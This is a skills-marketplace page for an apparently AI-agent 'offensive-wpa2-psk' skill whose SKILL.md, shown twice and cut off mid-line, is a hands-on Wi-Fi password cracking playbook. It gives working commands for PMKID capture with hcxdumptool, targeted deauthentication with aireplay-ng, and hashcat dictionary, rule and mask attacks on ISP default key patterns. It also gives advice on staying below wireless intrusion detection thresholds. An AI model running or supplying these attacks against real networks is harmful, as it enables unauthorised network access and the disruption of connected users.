offensive-wpa2-psk

Name: offensive-wpa2-psk
Author: SnailSploit

2.8kstars447forks

How to install offensive-wpa2-psk?

snailsploit/claude-red/offensive-wpa2-psk

$npx -y skills add SnailSploit/Claude-Red --skill offensive-wpa2-psk

Installs into the current project.

Summary

WPA/WPA2-PSK attack methodology — four-way handshake capture via targeted deauthentication, PMKID attacks (no client required), hcxdumptool / hcxpcapngtool conversion to hashcat hc22000 format, GPU-accelerated cracking with dictionary, mask, and rule-based attacks, vendor default

Files · 1

View on GitHub

SKILL.md

1	# WPA/WPA2-PSK Attacks
2
3	The default mode for almost every consumer and SMB Wi-Fi network. The four-way handshake's PMKID and EAPOL frames give you everything you need to crack offline — no online attempts, no lockout, no detection signal beyond the deauth (which you can avoid with PMKID).
4
5	## Quick Workflow
6
7	1. Identify the target BSSID, channel, and encryption (see `offensive-wifi-recon`)
8	2. Try PMKID first (fast, no client interaction)
9	3. Fall back to four-way handshake capture if PMKID isn't yielded
10	4. Convert capture to hashcat-compatible format
11	5. Crack offline with appropriate wordlist + rules + masks
12
13	---
14
15	## PMKID Attack (Preferred When Possible)
16
17	The PMKID is included in the first message of the four-way handshake. Many APs leak it in response to a single association request — no real client needed.
18
19	```bash
20	# Setup
21	sudo airmon-ng check kill && sudo airmon-ng start wlan0
22	sudo iw reg set US
23
24	# Sweep PMKIDs across all visible APs
25	sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
26	--enable_status=1 \
27	--filterlist_ap=targets.txt --filtermode=2
28
29	# Convert to hashcat format
30	hcxpcapngtool -o hash.hc22000 pmkid.pcapng
31	```
32
33	`targets.txt` contains BSSIDs (one per line) you're authorized to attack.
34
35	If `hash.hc22000` is empty, the AP doesn't yield PMKIDs. Move to four-way handshake.
36
37	## Four-Way Handshake Capture
38
39	```bash
40	# Pin to channel
41	sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
42	```
43
44	If a client is associated:
45
46	```bash
47	# Targeted deauth (single client, low volume)
48	sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
49	```
50
51	The handshake will appear in airodump's top-right corner as `WPA handshake: AA:BB:CC:DD:EE:FF`.
52
53	Why one client at a time: broadcast deauth (no `-c`) trips WIDS quickly and is louder. A single 5-deauth burst targeted at one MAC is enough.
54
55	## Verifying the Capture
56
57	```bash
58	hcxpcapngtool -o hash.hc22000 handshake-01.cap
59	# Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines
60	```
61
62	If the tool reports the M1/M2 pair without proper EAPOL authentication, capture again. Bad / partial handshakes will fail to crack.
63
64	## Cracking
65
66	### Dictionary + Rules
67
68	```bash
69	hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
70	```
71
72	Useful wordlists:
73	- `rockyou.txt` (classic)
74	- `weakpass_3` / `weakpass_4` (huge breach corpus)
75	- `crackstation.txt`
76	- Targeted: company name, products, locations
77
78	### Mask Attacks for Common Default Patterns
79
80	```bash
81	# 10 digits (common ISP default — UPC, Vodafone, etc.)
82	hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
83
84	# 8 digits (D-Link, ZTE)
85	hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
86
87	# 8 hex (some Belkin / Linksys)
88	hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h
89
90	# Phone number patterns
91	hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d
92	```
93
94	### Vendor Default Generators
95
96	Some ISP routers derive the PSK from the SSID prefix + serial number suffix using known algorithms:
97
98	```bash
99	# UPC-XXXXXXX → upc_keys generates candidate keys
100	upc_keys ESSID \| hashcat -m 22000 hash.hc22000 -
101
102	# Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen
103	# Check vendor-specific tools per router brand
104	```
105
106	### 802.11r FT Cracking
107
108	If 802.11r (Fast Transition) is enabled, the AP-to-AP key transit is captureable on the wired side or visible in air during roaming events. The PMK derivation gives an alternative crack path with the same hc22000 format.
109
110	## Tuning Cracking Performance
111
112	```bash
113	# Show recommended workload tuning per GPU
114	hashcat -b -m 22000
115
116	# Distributed cracking via hashtopolis or naive split
117	hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000
118	hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000
119	```
120
121	## Opportunistic Key Cache (OKC)
122
123	When OKC is enabled (common in WPA2-Enterprise too), the AP caches the PMK from a previous successful association and reuses it on roam — bypassing the full handshake. From an attacker view, OKC handshakes have the same recoverable PMK material; the impact is mostly that you'll see fewer M1/M2 pairs in the air.
124
125	## Detection Considerations
126
127	\| Signal \| Defender View \|
128	\|---\|---\|
129	\| Deauth burst \| WIDS rule: >N deauth/sec with malformed reason codes \|
130	\| PMKID flood (hcxdumptool default sends many association requests) \| WIDS rule: rapid associations from a single MAC \|
131	\| Monitor-mode interface \| Some enterprise WIDS deployments fingerprint adjacent monitor radios \|
132
133	To minimize: PMKI

People who liked this also viewed

6 picks

Type

offensive-wpa2-psk

2.8kstars447forks

View on GitHub

How to install offensive-wpa2-psk?

snailsploit/claude-red/offensive-wpa2-psk

$npx -y skills add SnailSploit/Claude-Red --skill offensive-wpa2-psk

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# WPA/WPA2-PSK Attacks
2
3	The default mode for almost every consumer and SMB Wi-Fi network. The four-way handshake's PMKID and EAPOL frames give you everything you need to crack offline — no online attempts, no lockout, no detection signal beyond the deauth (which you can avoid with PMKID).
4
5	## Quick Workflow
6
7	1. Identify the target BSSID, channel, and encryption (see `offensive-wifi-recon`)
8	2. Try PMKID first (fast, no client interaction)
9	3. Fall back to four-way handshake capture if PMKID isn't yielded
10	4. Convert capture to hashcat-compatible format
11	5. Crack offline with appropriate wordlist + rules + masks
12
13	---
14
15	## PMKID Attack (Preferred When Possible)
16
17	The PMKID is included in the first message of the four-way handshake. Many APs leak it in response to a single association request — no real client needed.
18
19	```bash
20	# Setup
21	sudo airmon-ng check kill && sudo airmon-ng start wlan0
22	sudo iw reg set US
23
24	# Sweep PMKIDs across all visible APs
25	sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
26	--enable_status=1 \
27	--filterlist_ap=targets.txt --filtermode=2
28
29	# Convert to hashcat format
30	hcxpcapngtool -o hash.hc22000 pmkid.pcapng
31	```
32
33	`targets.txt` contains BSSIDs (one per line) you're authorized to attack.
34
35	If `hash.hc22000` is empty, the AP doesn't yield PMKIDs. Move to four-way handshake.
36
37	## Four-Way Handshake Capture
38
39	```bash
40	# Pin to channel
41	sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
42	```
43
44	If a client is associated:
45
46	```bash
47	# Targeted deauth (single client, low volume)
48	sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
49	```
50
51	The handshake will appear in airodump's top-right corner as `WPA handshake: AA:BB:CC:DD:EE:FF`.
52
53	Why one client at a time: broadcast deauth (no `-c`) trips WIDS quickly and is louder. A single 5-deauth burst targeted at one MAC is enough.
54
55	## Verifying the Capture
56
57	```bash
58	hcxpcapngtool -o hash.hc22000 handshake-01.cap
59	# Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines
60	```
61
62	If the tool reports the M1/M2 pair without proper EAPOL authentication, capture again. Bad / partial handshakes will fail to crack.
63
64	## Cracking
65
66	### Dictionary + Rules
67
68	```bash
69	hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
70	```
71
72	Useful wordlists:
73	- `rockyou.txt` (classic)
74	- `weakpass_3` / `weakpass_4` (huge breach corpus)
75	- `crackstation.txt`
76	- Targeted: company name, products, locations
77
78	### Mask Attacks for Common Default Patterns
79
80	```bash
81	# 10 digits (common ISP default — UPC, Vodafone, etc.)
82	hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
83
84	# 8 digits (D-Link, ZTE)
85	hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
86
87	# 8 hex (some Belkin / Linksys)
88	hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h
89
90	# Phone number patterns
91	hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d
92	```
93
94	### Vendor Default Generators
95
96	Some ISP routers derive the PSK from the SSID prefix + serial number suffix using known algorithms:
97
98	```bash
99	# UPC-XXXXXXX → upc_keys generates candidate keys
100	upc_keys ESSID \| hashcat -m 22000 hash.hc22000 -
101
102	# Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen
103	# Check vendor-specific tools per router brand
104	```
105
106	### 802.11r FT Cracking
107
108	If 802.11r (Fast Transition) is enabled, the AP-to-AP key transit is captureable on the wired side or visible in air during roaming events. The PMK derivation gives an alternative crack path with the same hc22000 format.
109
110	## Tuning Cracking Performance
111
112	```bash
113	# Show recommended workload tuning per GPU
114	hashcat -b -m 22000
115
116	# Distributed cracking via hashtopolis or naive split
117	hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000
118	hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000
119	```
120
121	## Opportunistic Key Cache (OKC)
122
123	When OKC is enabled (common in WPA2-Enterprise too), the AP caches the PMK from a previous successful association and reuses it on roam — bypassing the full handshake. From an attacker view, OKC handshakes have the same recoverable PMK material; the impact is mostly that you'll see fewer M1/M2 pairs in the air.
124
125	## Detection Considerations
126
127	\| Signal \| Defender View \|
128	\|---\|---\|
129	\| Deauth burst \| WIDS rule: >N deauth/sec with malformed reason codes \|
130	\| PMKID flood (hcxdumptool default sends many association requests) \| WIDS rule: rapid associations from a single MAC \|
131	\| Monitor-mode interface \| Some enterprise WIDS deployments fingerprint adjacent monitor radios \|
132
133	To minimize: PMKI

People who liked this also viewed

6 picks

Type